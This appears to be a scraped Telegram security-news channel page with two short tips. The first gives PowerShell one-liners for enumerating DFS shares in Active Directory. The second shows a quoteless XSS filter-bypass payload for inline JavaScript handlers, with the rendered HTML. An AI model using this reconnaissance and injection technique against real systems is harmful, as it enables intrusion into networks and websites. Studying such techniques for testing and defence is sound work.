Information Security
415 subscribers
157 photos
5 videos
9 files
2.28K links
Information Security News

we are @sec_nerd twin brother
Download Telegram
Self-reminder - finding DFS shares

AD
Get-ADObject -filter * -SearchBase "CN=Dfs-Configuration,CN=System,DC=a,DC=b" | select name

ADSI
$s=[adsisearcher]'(name=*)'; $s.SearchRoot = [adsi]"LDAP://CN=Dfs-Configuration,CN=System,dc=a,dc=b"; $s.FindAll() | % {$_.properties.name}
quoteless #XSS filter bypass (removing HTML chars) in an inline JS function with multiple params

Normal:
/page?x=1&y=2&z=3
Downwards arrow

<body onload="func('1', '2', '3')">

XSS:
/page?x=1&y=%5C&z=);alert(1);//
Downwards arrow

<body onload="func('1', '\', ');alert(1);//'">